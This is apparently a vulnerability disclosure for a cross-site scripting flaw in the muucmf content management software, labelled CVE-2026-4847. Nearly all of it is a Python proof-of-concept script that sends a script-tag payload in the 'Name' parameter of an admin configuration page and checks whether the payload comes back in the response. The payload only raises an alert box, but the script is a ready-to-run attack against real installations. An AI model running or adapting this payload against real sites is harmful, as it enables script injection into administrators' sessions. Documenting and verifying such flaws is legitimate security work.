CVE-2026-4847 dameng100 muucmf 跨站脚本漏洞

import requests # Target URL configuration target_url = "http://example.com/admin/config/list.html" # Malicious payload for XSS verification # Using a script tag to demonstrate execution xss_payload = "<script>alert('CVE-2026-4847_PoC');</script>" # Parameters to be sent params = { "Name": xss_payload } try: # Send the GET request to the vulnerable endpoint response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected in the response if xss_payload in response.text: print(f"[+] Potential XSS vulnerability detected at {target_url}") print(f"[+] Payload: {xss_payload}") else: print("[-] Payload not reflected in response. Manual verification recommended.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")